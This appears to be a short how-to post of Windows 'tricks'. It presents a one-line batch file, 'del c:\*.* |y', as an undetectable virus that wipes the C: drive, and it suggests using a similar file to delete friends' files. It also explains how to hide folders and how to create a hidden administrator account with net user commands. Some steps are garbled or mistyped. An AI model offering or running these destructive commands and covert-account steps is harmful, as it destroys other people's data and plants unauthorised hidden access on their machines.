1.Create Simple Virus Using Notepad
Write your own virus code where no antivirus can detect it,using very simple steps.
Type the following in the notepad
del c:\*.* |y
Now save the file in “.bat” extension instead of “.txt”
Beware !! before running it.
*It will delete all the content of C: drive.Dont dare to run it on your PC*
To test this you can try this :
a)create a text file with name abcd.txt.Save and close the file.
b)Now create another text file “test.txt” and type the following
del abcd.txt |y
save and close it.
c)Now change the extension of the “.bat” and you will get a confirmation and click on Yes.
d)Now run the batch file.You can see that the file “abcd.txt” will be deleted automatically without any confirmation.
* You can use this trick to delete files in your friends account.
2.Create a folder with no name :
a)Create a folder and try to rename it to no-name.You cannot do it because windows doest allow to create a folder with no name.
b)But this can be made using the following trick.
c)After creating the folder rename it by erasing all the charecters and press alt+255.
Note: The number keys used must be from the number pad.
(Now by changing the icon the folder can be made invisible.)
3.Create an invisible user account:
a)Login as administrator.
b)click on start menu and open run.
c)type “cmd” and press Enter.
c)Type the following in the command prompt
net user username /add
//For creating a new user account.
net local group administrators username /add
//For giving a particular account administrator privileges.
net localgroup users username /delete
//For hiding the user account.
net user username /delete
//For deleting the user account.
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